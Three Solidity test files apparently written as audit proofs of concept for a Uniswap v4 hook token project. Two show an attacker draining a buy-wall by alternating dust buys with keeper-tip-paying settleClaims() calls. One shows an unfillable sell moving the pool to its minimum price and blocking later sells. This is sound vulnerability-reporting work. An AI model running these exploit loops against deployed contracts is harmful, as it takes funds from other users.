// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {PLEA} from "src/PLEA.sol";
import {PleaHook} from "src/PleaHook.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";

contract TFMockIMD is ERC20 {
    constructor() ERC20("Test IMD", "tIMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract TFMockStacker {
    IERC20 public immutable imd;
    constructor(address imd_) { imd = IERC20(imd_); }
    function credit(address, uint256 amount) external {
        require(imd.transferFrom(msg.sender, address(this), amount), "pull failed");
    }
}

contract TFRouter is IUnlockCallback {
    IPoolManager public immutable pm;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey memory key, bool zeroForOne, uint256 amountIn, address trader) external {
        pm.unlock(abi.encode(key, zeroForOne, amountIn, trader));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, bool zeroForOne, uint256 amountIn, address trader) =
            abi.decode(data, (PoolKey, bool, uint256, address));
        BalanceDelta d = pm.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: -int256(amountIn),
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            abi.encode(trader)
        );
        (Currency cin, Currency cout) = zeroForOne ? (key.currency0, key.currency1) : (key.currency1, key.currency0);
        int128 inDelta = zeroForOne ? d.amount0() : d.amount1();
        int128 outDelta = zeroForOne ? d.amount1() : d.amount0();
        pm.sync(cin);
        IERC20(Currency.unwrap(cin)).transferFrom(trader, address(pm), uint256(uint128(-inDelta)));
        pm.settle();
        if (outDelta > 0) pm.take(cout, trader, uint256(uint128(outDelta)));
        return "";
    }
}

/// @notice settleClaims() pays a keeper tip of min(retainedImd/1000, 0.01 IMD) from the buy-wall capital
/// whenever ownerFees != 0. A 200-wei buy makes ownerFees = 1 wei, so an attacker loops
/// {dust buy, settleClaims} and drains the wall at 0.01 IMD per iteration for ~0 cost.
contract TipFarmTest is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;
    address constant POOL_MANAGER = 0xE03A1074c86CFeDd5C142C4F04F1a1536e203543;
    address constant TEST_IMD = 0x2B69099E59b05901faA1DD164fabf098bf831E82;
    address constant STACKER = 0x293C7134Ab8f6Bf1D8fF44Ed806575f8F1bAF477;

    PLEA plea;
    PleaHook hook;
    CabalGate gate;
    TFMockIMD imd;
    TFRouter router;
    IPoolManager pm;
    address attacker = makeAddr("attacker");
    address funder = makeAddr("funder");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        deployCodeTo("PoolManager.sol:PoolManager", abi.encode(address(this)), POOL_MANAGER);
        deployCodeTo("TipFarm.t.sol:TFMockIMD", "", TEST_IMD);
        deployCodeTo("TipFarm.t.sol:TFMockStacker", abi.encode(TEST_IMD), STACKER);
        pm = IPoolManager(POOL_MANAGER);
        imd = TFMockIMD(TEST_IMD);
        router = new TFRouter(pm);
        plea = new PLEA(OWNER, POOL_MANAGER);
        hook = PleaHook(_mineAndDeployHook(address(plea)));
        gate = new CabalGate(address(plea), address(hook), POOL_MANAGER, TEST_IMD);
        new PleaDistributor(address(plea), address(hook), address(gate), OWNER);

        imd.mint(attacker, 1e18);
        imd.mint(funder, 1_000e18);
        vm.prank(attacker);
        imd.approve(address(router), type(uint256).max);
        vm.prank(funder);
        imd.approve(address(router), type(uint256).max);
        vm.prank(funder);
        imd.approve(address(hook), type(uint256).max);
        vm.warp(block.timestamp + 90 minutes); // launch fee over
        // honest activity: a 100 IMD buy and 100 IMD donated to the wall, then everything settled
        _buy(funder, 100e18);
        vm.prank(funder);
        hook.fundWall(100e18);
        hook.settleClaims();
    }

    function _mineAndDeployHook(address plea_) internal returns (address) {
        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        bytes memory initCode =
            abi.encodePacked(type(PleaHook).creationCode, abi.encode(plea_, POOL_MANAGER, TEST_IMD, STACKER));
        bytes32 codeHash = keccak256(initCode);
        for (uint256 salt; salt < 500_000; ++salt) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), codeHash))))
            );
            if (uint160(predicted) & Hooks.ALL_HOOK_MASK == flags) {
                return address(new PleaHook{salt: bytes32(salt)}(plea_, POOL_MANAGER, TEST_IMD, STACKER));
            }
        }
        revert("no salt");
    }

    function _buy(address who, uint256 imdIn) internal {
        PoolKey memory key = hook.poolKey();
        vm.prank(who);
        router.swap(key, !hook.pleaIsZero(), imdIn, who);
    }

    function test_dustTradesFarmKeeperTipsOutOfTheWall() public {
        uint256 wallBefore = hook.retainedImd();
        assertGt(wallBefore, 100e18);
        uint256 attackerBefore = imd.balanceOf(attacker);
        for (uint256 i; i < 50; ++i) {
            _buy(attacker, 200); // 200 wei of IMD: ownerFees becomes 1 wei, nothing else of note
            vm.prank(attacker);
            hook.settleClaims(); // pays min(retainedImd / 1000, 0.01 IMD) to the caller
        }
        uint256 gained = imd.balanceOf(attacker) - attackerBefore;
        uint256 drained = wallBefore - hook.retainedImd();
        emit log_named_uint("attacker gained (wei IMD)", gained);
        emit log_named_uint("wall drained (wei IMD)", drained);
        // Expected: dust activity does not let a caller extract the wall capital as tips.
        // Actual: ~0.01 IMD per iteration, 0.5 IMD after 50 iterations for 10,000 wei spent.
        assertLt(gained, 0.001e18, "keeper tips should not be farmable with dust trades");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {PLEA} from "src/PLEA.sol";
import {PleaHook} from "src/PleaHook.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";

contract MintableERC20 is ERC20 {
    constructor(string memory n) ERC20(n, n) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract DummyStacker {
    IERC20 public immutable imd;

    constructor(address imd_) {
        imd = IERC20(imd_);
    }

    function credit(address, uint256 amount) external {
        require(imd.transferFrom(msg.sender, address(this), amount), "pull failed");
    }
}

contract Router is IUnlockCallback {
    IPoolManager public immutable pm;

    constructor(IPoolManager pm_) {
        pm = pm_;
    }

    function swap(PoolKey memory key, bool zeroForOne, uint256 amountIn, address trader) external {
        pm.unlock(abi.encode(key, zeroForOne, amountIn, trader));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, bool zeroForOne, uint256 amountIn, address trader) =
            abi.decode(data, (PoolKey, bool, uint256, address));
        BalanceDelta d = pm.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: -int256(amountIn),
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            abi.encode(trader)
        );
        (Currency cin, Currency cout) = zeroForOne ? (key.currency0, key.currency1) : (key.currency1, key.currency0);
        int128 inDelta = zeroForOne ? d.amount0() : d.amount1();
        int128 outDelta = zeroForOne ? d.amount1() : d.amount0();
        pm.sync(cin);
        IERC20(Currency.unwrap(cin)).transferFrom(trader, address(pm), uint256(uint128(-inDelta)));
        pm.settle();
        if (outDelta > 0) pm.take(cout, trader, uint256(uint128(outDelta)));
        return "";
    }
}

contract SettleTipFarmTest is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;

    PoolManager pm;
    MintableERC20 imd;
    PLEA plea;
    PleaHook hook;
    CabalGate gate;
    PleaDistributor dist;
    Router router;
    address whale = makeAddr("whale");
    address farmer = makeAddr("farmer");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        pm = new PoolManager(address(this));
        imd = new MintableERC20("tIMD");
        DummyStacker stacker = new DummyStacker(address(imd));
        plea = new PLEA(OWNER, address(pm));
        hook = PleaHook(_mineAndDeployHook(address(plea), address(stacker)));
        gate = new CabalGate(address(plea), address(hook), address(pm), address(imd));
        dist = new PleaDistributor(address(plea), address(hook), address(gate), OWNER);
        router = new Router(pm);
        imd.mint(whale, 1_000e18);
        imd.mint(farmer, 1e18);
        vm.prank(whale);
        imd.approve(address(router), type(uint256).max);
        vm.prank(farmer);
        imd.approve(address(router), type(uint256).max);
    }

    function _mineAndDeployHook(address plea_, address stacker_) internal returns (address) {
        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        bytes memory initCode =
            abi.encodePacked(type(PleaHook).creationCode, abi.encode(plea_, address(pm), address(imd), stacker_));
        bytes32 codeHash = keccak256(initCode);
        for (uint256 salt; salt < 500_000; ++salt) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), codeHash))))
            );
            if (uint160(predicted) & Hooks.ALL_HOOK_MASK == flags) {
                PleaHook h = new PleaHook{salt: bytes32(salt)}(plea_, address(pm), address(imd), stacker_);
                require(address(h) == predicted, "mismatch");
                return address(h);
            }
        }
        revert("no salt");
    }

    function _buy(address who, uint256 imdIn) internal {
        vm.prank(who);
        router.swap(hook.poolKey(), !hook.pleaIsZero(), imdIn, who);
    }

    /// @notice settleClaims() pays min(retainedImd/1000, 0.01 IMD) to its caller whenever ownerFees is
    /// non-zero, and a 1,000-wei buy makes ownerFees non-zero. A farmer alternating dust buys and
    /// settleClaims() in one block drains the idle wall capital 0.01 IMD at a time, paying ~1,000 wei
    /// per cycle. Here 100 cycles take 1 IMD from the wall; the wall should lose at most one tip.
    function test_dustTradeThenSettleFarmsKeeperTip() public {
        // launch window: one 100 IMD buy leaves ~70 IMD of idle wall capital in retainedImd
        _buy(whale, 100e18);
        hook.settleClaims();
        assertGt(hook.retainedImd(), 60e18, "idle wall capital");
        vm.warp(block.timestamp + 90 minutes);

        uint256 wallBefore = hook.retainedImd();
        uint256 farmerBefore = imd.balanceOf(farmer);
        for (uint256 i; i < 100; ++i) {
            _buy(farmer, 1_000); // 1,000 wei of IMD: ownerFees becomes 5 wei
            vm.prank(farmer);
            hook.settleClaims(); // pays the farmer min(retainedImd / 1000, 0.01e18)
        }
        uint256 drained = wallBefore - hook.retainedImd();
        uint256 profit = imd.balanceOf(farmer) - farmerBefore;
        emit log_named_uint("wall capital drained (wei)", drained);
        emit log_named_uint("farmer net profit (wei)", profit);
        assertLe(drained, 0.02e18, "100 dust cycles drained far more than one keeper tip from the wall");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {OracleAttestation} from "src/OracleAttestation.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {PLEA} from "src/PLEA.sol";
import {PleaHook} from "src/PleaHook.sol";
import {CabalGate} from "src/CabalGate.sol";
import {PleaDistributor} from "src/PleaDistributor.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("Test IMD", "tIMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofStacker {
    IERC20 immutable imd;

    constructor(address imd_) {
        imd = IERC20(imd_);
    }

    function credit(address, uint256 amount) external {
        imd.transferFrom(msg.sender, address(this), amount);
    }
}

contract EmptyPoolSellProof is Test {
    address constant OWNER = 0x4b91078b2374c956A65F7Af0999CaE0a935E6821;

    PoolManager pm;
    ProofIMD imd;
    ProofStacker stacker;
    PLEA plea;
    PleaHook hook;
    CabalGate gate;
    PleaDistributor dist;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(1_800_000_000);
        pm = new PoolManager(address(this));
        imd = new ProofIMD();
        stacker = new ProofStacker(address(imd));
        plea = new PLEA(OWNER, address(pm));
        hook = PleaHook(_mineAndDeployHook(address(plea)));
        gate = new CabalGate(address(plea), address(hook), address(pm), address(imd));
        dist = new PleaDistributor(address(plea), address(hook), address(gate), OWNER);
        vm.warp(block.timestamp + 90 minutes); // launch window over
    }

    function _mineAndDeployHook(address plea_) internal returns (address) {
        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        bytes memory initCode = abi.encodePacked(
            type(PleaHook).creationCode, abi.encode(plea_, address(pm), address(imd), address(stacker))
        );
        bytes32 codeHash = keccak256(initCode);
        for (uint256 salt; salt < 500_000; ++salt) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), codeHash))))
            );
            if (uint160(predicted) & Hooks.ALL_HOOK_MASK == flags) {
                PleaHook h = new PleaHook{salt: bytes32(salt)}(plea_, address(pm), address(imd), address(stacker));
                require(address(h) == predicted, "mismatch");
                return address(h);
            }
        }
        revert("no salt");
    }

    uint256 constant TEST_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address constant TEST_SIGNER = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;

    function _approve(uint256 id, bytes32 reqId) internal {
        OracleAttestation.Attestation memory a = OracleAttestation.Attestation({
            requestId: reqId,
            chainId: 1,
            questionHash: gate.questionHashFor(id, 100, 200),
            answerType: 0,
            answer: abi.encode(true),
            figure: 0,
            fromBlock: 100,
            toBlock: 200,
            blockHash: bytes32(uint256(7)),
            panelJobId: bytes32(uint256(9)),
            panelSize: 30,
            quorum: 20,
            agreed: 24,
            issuedAt: uint64(block.timestamp),
            expiresAt: uint64(block.timestamp + 3600)
        });
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(TEST_KEY, gate.attestationDigest(a));
        gate.deliverVerdict(id, a, abi.encodePacked(r, s, v));
    }

    /// @notice A gated sell the pool cannot fill (no IMD has been bought in yet) is executed with zero output and
    /// leaves the pool at the minimum sqrt price. Expected: the price stays at the edge of the hook's liquidity (or
    /// the unfillable sell is refused). Actual: spot reads 0 and the next gated sell reverts with
    /// PriceLimitAlreadyExceeded until somebody buys.
    function test_unfillableSellBricksLaterSells() public {
        vm.prank(OWNER);
        gate.setSigner(TEST_SIGNER);
        imd.mint(alice, 10e18);
        imd.mint(bob, 10e18);
        vm.startPrank(alice);
        imd.approve(address(gate), type(uint256).max);
        plea.approve(address(gate), type(uint256).max);
        vm.stopPrank();
        vm.startPrank(bob);
        imd.approve(address(gate), type(uint256).max);
        plea.approve(address(gate), type(uint256).max);
        vm.stopPrank();
        // two distributor claimants (a transfer from the distributor stands in for a Merkle claim)
        vm.prank(address(dist));
        plea.transfer(alice, 10_000e18);
        vm.prank(address(dist));
        plea.transfer(bob, 10_000e18);

        int24 tickBefore = hook.currentTick();
        uint256 spotBefore = hook.spotImdPerPlea();
        vm.prank(alice);
        uint256 id = gate.submitSell(1_000e18, "The first plea the Cabal ever hears.");
        _approve(id, bytes32(uint256(1)));
        vm.prank(alice);
        uint256 out = gate.executeSell(0);
        assertEq(out, 0, "nothing could be filled");

        // the pool should still quote the launch price, not the minimum
        assertEq(hook.currentTick(), tickBefore, "an unfillable sell moved the pool to the minimum price");
        assertEq(hook.spotImdPerPlea(), spotBefore, "spot collapsed to zero");

        // and bob's approved sell must at least be executable
        vm.prank(bob);
        uint256 id2 = gate.submitSell(1_000e18, "The second plea the Cabal ever hears.");
        _approve(id2, bytes32(uint256(2)));
        vm.prank(bob);
        gate.executeSell(0);
    }
}